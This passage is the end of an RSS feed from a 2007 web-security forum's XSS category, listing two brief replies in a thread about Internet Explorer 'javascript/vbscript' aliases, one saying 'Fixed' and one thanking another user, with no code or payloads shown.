            <link>http://sla.ckers.org/forum/read.php?2,13209,13378#msg-13378</link>
            <description><![CDATA[@ma1: Fixed]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 09:26:43 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13376#msg-13376</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13376#msg-13376</link>
            <description><![CDATA[thanks sirdarckcat :)  I got that one before .mario did!  and quite a clever one too]]></description>
            <dc:creator>thornmaker</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 09:09:10 -0500</pubDate>
        </item>
    </channel>
</rss>
